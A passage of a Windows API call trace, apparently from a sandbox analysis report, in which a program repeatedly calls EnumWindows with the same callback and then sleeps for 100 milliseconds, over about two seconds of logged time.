(dwMilliseconds=0x64) [0225.773] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.773] Sleep (dwMilliseconds=0x64) [0225.784] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.784] Sleep (dwMilliseconds=0x64) [0225.798] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.798] Sleep (dwMilliseconds=0x64) [0225.814] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.815] Sleep (dwMilliseconds=0x64) [0226.141] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0226.142] Sleep (dwMilliseconds=0x64) [0226.145] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0226.145] Sleep (dwMilliseconds=0x64) [0226.324] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0226.325] Sleep (dwMilliseconds=0x64) [0226.394] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0226.394] Sleep (dwMilliseconds=0x64) [0226.396] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0226.396] Sleep (dwMilliseconds=0x64) [0226.399] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0226.407] Sleep (dwMilliseconds=0x64) [0226.557] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0226.558] Sleep (dwMilliseconds=0x64) [0226.581] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0226.581] Sleep (dwMilliseconds=0x64) [0226.593] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0226.755] Sleep (dwMilliseconds=0x64) [0226.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0226.769] Sleep (dwMilliseconds=0x64) [0226.770] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0226.771] Sleep (dwMilliseconds=0x64) [0226.773] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0226.773] Sleep (dwMilliseconds=0x64) [0226.779] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0226.779] Sleep (dwMilliseconds=0x64) [0226.792] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0226.793] Sleep (dwMilliseconds=0x64) [0226.970] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0226.971] Sleep (dwMilliseconds=0x64) [0227.054] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.055] Sleep (dwMilliseconds=0x64) [0227.096] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.097] Sleep (dwMilliseconds=0x64) [0227.119] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.121] Sleep (dwMilliseconds=0x64) [0227.130] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.130] Sleep (dwMilliseconds=0x64) [0227.223] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.223] Sleep (dwMilliseconds=0x64) [0227.240] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.241] Sleep (dwMilliseconds=0x64) [0227.242] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.242] Sleep (dwMilliseconds=0x64) [0227.244] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.244] Sleep (dwMilliseconds=0x64) [0227.246] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.246] Sleep (dwMilliseconds=0x64) [0227.248] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.249] Sleep (dwMilliseconds=0x64) [0227.250] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.250] Sleep (dwMilliseconds=0x64) [0227.252] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.253] Sleep (dwMilliseconds=0x64) [0227.254] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.254] Sleep (dwMilliseconds=0x64) [0227.256] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.256] Sleep (dwMilliseconds=0x64) [0227.258] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.258] Sleep (dwMilliseconds=0x64) [0227.259] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.260] Sleep (dwMilliseconds=0x64) [0227.261] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.261] Sleep (dwMilliseconds=0x64) [0227.263] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.263] Sleep (dwMilliseconds=0x64) [0227.264] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.268] Sleep (dwMilliseconds=0x64) [0227.270] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.270] Sleep (dwMilliseconds=0x64) [0227.272] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.272] Sleep (dwMilliseconds=0x64) [0227.273] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.274] Sleep (dwMilliseconds=0x64) [0227.278] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.278] Sleep (dwMilliseconds=0x64) [0227.282] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.282] Sleep (dwMilliseconds=0x64) [0227.284] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.284] Sleep (dwMilliseconds=0x64) [0227.286] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.286] Sleep (dwMilliseconds=0x64) [0227.287] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.288] Sleep (dwMilliseconds=0x64) [0227.289] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.289] Sleep (dwMilliseconds=0x64) [0227.291] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.291] Sleep (dwMilliseconds=0x64) [0227.293] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.293] Sleep (dwMilliseconds=0x64) [0227.295] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.295] Sleep (dwMilliseconds=0x64) [0227.298] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.298] Sleep (dwMilliseconds=0x64) [0227.300] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.300] Sleep (dwMilliseconds=0x64) [0227.302] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.302] Sleep (dwMilliseconds=0x64) [0227.303] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.303] Sleep (dwMilliseconds=0x64) [0227.306] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.306] Sleep (dwMilliseconds=0x64) [0227.308] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.308] Sleep (dwMilliseconds=0x64) [0227.310] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.310] Sleep (dwMilliseconds=0x64) [0227.312] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.312] Sleep (dwMilliseconds=0x64) [0227.313] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.314] Sleep (dwMilliseconds=0x64) [0227.315] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.315] Sleep (dwMilliseconds=0x64) [0227.317] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.317] Sleep (dwMilliseconds=0x64) [0227.319] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.319] Sleep (dwMilliseconds=0x64) [0227.321] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.321] Sleep (dwMilliseconds=0x64) [0227.322] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.322] Sleep (dwMilliseconds=0x64) [0227.324] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.324] Sleep (dwMilliseconds=0x64) [0227.326] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.326] Sleep (dwMilliseconds=0x64) [0227.328] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.328] Sleep (dwMilliseconds=0x64) [0227.330] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.331] Sleep (dwMilliseconds=0x64) [0227.332] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.333] Sleep (dwMilliseconds=0x64) [0227.334] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.335] Sleep (dwMilliseconds=0x64) [0227.336] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.336] Sleep (dwMilliseconds=0x64) [0227.338] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.338] Sleep (dwMilliseconds=0x64) [0227.339] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.339] Sleep (dwMilliseconds=0x64) [0227.341] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.341] Sleep (dwMilliseconds=0x64) [0227.343] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.343] Sleep (dwMilliseconds=0x64) [0227.348] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.348] Sleep (dwMilliseconds=0x64) [0227.354] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.354] Sleep (dwMilliseconds=0x64) [0227.355] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.356] Sleep (dwMilliseconds=0x64) [0227.358] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.358] Sleep (dwMilliseconds=0x64) [0227.361] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.361] Sleep (dwMilliseconds=0x64) [0227.363] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.364] Sleep (dwMilliseconds=0x64) [0227.366] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.366] Sleep (dwMilliseconds=0x64) [0227.369] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.369] Sleep (dwMilliseconds=0x64) [0227.371] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.371] Sleep (dwMilliseconds=0x64) [0227.373] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.373] Sleep (dwMilliseconds=0x64) [0227.375] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.375] Sleep (dwMilliseconds=0x64) [0227.376] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.377] Sleep (dwMilliseconds=0x64) [0227.378] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.378] Sleep (dwMilliseconds=0x64) [0227.380] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.380] Sleep (dwMilliseconds=0x64) [0227.382] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.382] Sleep (dwMilliseconds=0x64) [0227.384] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.384] Sleep (dwMilliseconds=0x64) [0227.386] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.386] Sleep (dwMilliseconds=0x64) [0227.387] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.388] Sleep (dwMilliseconds=0x64) [0227.389] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.389] Sleep (dwMilliseconds=0x64) [0227.390] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.391] Sleep (dwMilliseconds=0x64) [0227.392] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.392] Sleep (dwMilliseconds=0x64) [0227.394] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.394] Sleep (dwMilliseconds=0x64) [0227.395] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.396] Sleep (dwMilliseconds=0x64) [0227.399] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.400] Sleep (dwMilliseconds=0x64) [0227.401] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.401] Sleep (dwMilliseconds=0x64) [0227.402] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.403] Sleep (dwMilliseconds=0x64) [0227.404] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.404] Sleep (dwMilliseconds=0x64) [0227.405] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.405] Sleep (dwMilliseconds=0x64) [0227.407] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.408] Sleep (dwMilliseconds=0x64) [0227.409] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.409] Sleep (dwMilliseconds=0x64) [0227.410] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.411] Sleep (dwMilliseconds=0x64) [0227.412] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.412] Sleep (dwMilliseconds=0x64) [0227.413] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.414] Sleep (dwMilliseconds=0x64) [0227.415] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.415] Sleep (dwMilliseconds=0x64) [0227.416] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.417] Sleep (dwMilliseconds=0x64) [0227.418] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.418] Sleep (dwMilliseconds=0x64) [0227.419] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.420] Sleep (dwMilliseconds=0x64) [0227.421] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.421] Sleep (dwMilliseconds=0x64) [0227.422] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.423] Sleep (dwMilliseconds=0x64) [0227.424] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.424] Sleep (dwMilliseconds=0x64) [0227.425] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.426] Sleep (dwMilliseconds=0x64) [0227.427] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.427] Sleep (dwMilliseconds=0x64) [0227.428] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.429] Sleep (dwMilliseconds=0x64) [0227.430] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.431] Sleep (dwMilliseconds=0x64) [0227.433] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.434] Sleep (dwMilliseconds=0x64) [0227.435] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.435] Sleep (dwMilliseconds=0x64) [0227.436] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.437] Sleep (dwMilliseconds=0x64) [0227.438] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.438] Sleep (dwMilliseconds=0x64) [0227.439] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.439] Sleep (dwMilliseconds=0x64) [0227.441] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.441] Sleep (dwMilliseconds=0x64) [0227.442] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.443] Sleep (dwMilliseconds=0x64) [0227.444] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.444] Sleep (dwMilliseconds=0x64) [0227.445] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.446] Sleep (dwMilliseconds=0x64) [0227.447] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.447] Sleep (dwMilliseconds=0x64) [0227.448] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.449] Sleep (dwMilliseconds=0x64) [0227.450] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.450] Sleep (dwMilliseconds=0x64) [0227.452] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.452] Sleep (dwMilliseconds=0x64) [0227.454] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.454] Sleep (dwMilliseconds=0x64) [0227.455] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.456] Sleep (dwMilliseconds=0x64) [0227.457] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.457] Sleep (dwMilliseconds=0x64) [0227.458] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.459] Sleep (dwMilliseconds=0x64) [0227.460] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.460] Sleep (dwMilliseconds=0x64) [0227.461] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.461] Sleep (dwMilliseconds=0x64) [0227.463] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.463] Sleep (dwMilliseconds=0x64) [0227.465] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.465] Sleep (dwMilliseconds=0x64) [0227.466] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.467] Sleep (dwMilliseconds=0x64) [0227.470] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.470] Sleep (dwMilliseconds=0x64) [0227.472] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.472] Sleep (dwMilliseconds=0x64) [0227.473] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.474] Sleep (dwMilliseconds=0x64) [0227.475] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.475] Sleep (dwMilliseconds=0x64) [0227.477] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.477] Sleep (dwMilliseconds=0x64) [0227.479] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.479] Sleep (dwMilliseconds=0x64) [0227.480] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.481] Sleep (dwMilliseconds=0x64) [0227.482] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.482] Sleep (dwMilliseconds=0x64) [0227.483] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.484] Sleep (dwMilliseconds=0x64) [0227.485] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.485] Sleep (dwMilliseconds=0x64) [0227.487] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.487] Sleep (dwMilliseconds=0x64) [0227.489] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.489] Sleep (dwMilliseconds=0x64) [0227.490] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.491] Sleep (dwMilliseconds=0x64) [0227.492] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.492] Sleep (dwMilliseconds=0x64) [0227.494] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.494] Sleep (dwMilliseconds=0x64) [0227.495] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.496] Sleep (dwMilliseconds=0x64) [0227.497] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.497] Sleep (dwMilliseconds=0x64) [0227.498] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.499] Sleep (dwMilliseconds=0x64) [0227.500] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.500] Sleep (dwMilliseconds=0x64) [0227.502] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.502] Sleep (dwMilliseconds=0x64) [0227.506] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.506] Sleep (dwMilliseconds=0x64) [0227.507] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.508] Sleep (dwMilliseconds=0x64) [0227.509] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.509] Sleep (dwMilliseconds=0x64) [0227.511] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.511] Sleep (dwMilliseconds=0x64) [0227.512] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.513] Sleep (dwMilliseconds=0x64) [0227.514] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.514] Sleep (dwMilliseconds=0x64) [0227.516] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.516] Sleep (dwMilliseconds=0x64) [0227.518] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.518] Sleep (dwMilliseconds=0x64) [0227.520] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.520] Sleep (dwMilliseconds=0x64) [0227.522] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.522] Sleep (dwMilliseconds=0x64) [0227.523] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.523] Sleep (dwMilliseconds=0x64) [0227.525] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.525] Sleep (dwMilliseconds=0x64) [0227.527] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.527] Sleep (dwMilliseconds=0x64) [0227.528] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.529] Sleep (dwMilliseconds=0x64) [0227.530] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.530] Sleep (dwMilliseconds=0x64) [0227.532] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.532] Sleep (dwMilliseconds=0x64) [0227.534] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.534] Sleep (dwMilliseconds=0x64) [0227.536] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.536] Sleep (dwMilliseconds=0x64) [0227.538] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.538] Sleep (dwMilliseconds=0x64) [0227.540] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.540] Sleep (dwMilliseconds=0x64) [0227.546] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.546] Sleep (dwMilliseconds=0x64) [0227.548] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.548] Sleep (dwMilliseconds=0x64) [0227.549] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.549] Sleep (dwMilliseconds=0x64) [0227.551] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.551] Sleep (dwMilliseconds=0x64) [0227.553] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.553] Sleep (dwMilliseconds=0x64) [0227.555] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.555] Sleep (dwMilliseconds=0x64) [0227.556] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.556] Sleep (dwMilliseconds=0x64) [0227.558] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.558] Sleep (dwMilliseconds=0x64) [0227.559] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.559] Sleep (dwMilliseconds=0x64) [0227.561] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.561] Sleep (dwMilliseconds=0x64) [0227.563] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.563] Sleep (dwMilliseconds=0x64) [0227.564] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.564] Sleep (dwMilliseconds=0x64) [0227.566] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.566] Sleep (dwMilliseconds=0x64) [0227.568] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.568] Sleep (dwMilliseconds=0x64) [0227.569] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.569] Sleep (dwMilliseconds=0x64) [0227.571] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.571] Sleep (dwMilliseconds=0x64) [0227.572] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.572] Sleep (dwMilliseconds=0x64) [0227.574] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.574] Sleep (dwMilliseconds=0x64) [0227.575] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.575] Sleep (dwMilliseconds=0x64) [0227.577] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.577] Sleep (dwMilliseconds=0x64) [0227.578] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.578] Sleep (dwMilliseconds=0x64) [0227.580] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.580] Sleep (dwMilliseconds=0x64) [0227.585] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.585] Sleep (dwMilliseconds=0x64) [0227.586] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.586] Sleep (dwMilliseconds=0x64) [0227.588] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.588] Sleep (dwMilliseconds=0x64) [0227.598] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.598] Sleep (dwMilliseconds=0x64) [0227.607] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.607] Sleep (dwMilliseconds=0x64) [0227.617] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.618] Sleep (dwMilliseconds=0x64) [0227.619] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.620] Sleep (dwMilliseconds=0x64) [0227.626] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.626] Sleep (dwMilliseconds=0x64) [0227.627] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.628] Sleep (dwMilliseconds=0x64) [0227.629] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.629] Sleep (dwMilliseconds=0x64) [0227.631] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.631] Sleep (dwMilliseconds=0x64) [0227.632] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.632] Sleep (dwMilliseconds=0x64) [0227.634] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.634] Sleep (dwMilliseconds=0x64) [0227.636] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.636] Sleep (dwMilliseconds=0x64) [0227.637] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.637] Sleep (dwMilliseconds=0x64) [0227.638] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.639] Sleep (dwMilliseconds=0x64) [0227.640] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.640] Sleep (dwMilliseconds=0x64) [0227.642] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.642] Sleep (dwMilliseconds=0x64) [0227.644] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.644] Sleep (dwMilliseconds=0x64) [0227.645] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.646] Sleep (dwMilliseconds=0x64) [0227.648] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.648] Sleep (dwMilliseconds=0x64) [0227.649] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.650] Sleep (dwMilliseconds=0x64) [0227.651] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.651] Sleep (dwMilliseconds=0x64) [0227.653] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.653] Sleep (dwMilliseconds=0x64) [0227.655] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.655] Sleep (dwMilliseconds=0x64) [0227.656] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.656] Sleep (dwMilliseconds=0x64) [0227.658] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.658] Sleep (dwMilliseconds=0x64) [0227.660] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.660] Sleep (dwMilliseconds=0x64) [0227.662] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.662] Sleep (dwMilliseconds=0x64) [0227.666] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.666] Sleep (dwMilliseconds=0x64) [0227.667] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.668] Sleep (dwMilliseconds=0x64) [0227.670] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.671] Sleep (dwMilliseconds=0x64) [0227.672] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.672] Sleep (dwMilliseconds=0x64) [0227.674] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.674] Sleep (dwMilliseconds=0x64) [0227.676] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.676] Sleep (dwMilliseconds=0x64) [0227.677] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.678] Sleep (dwMilliseconds=0x64) [0227.679] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.679] Sleep (dwMilliseconds=0x64) [0227.681] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.681] Sleep (dwMilliseconds=0x64) [0227.683] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) 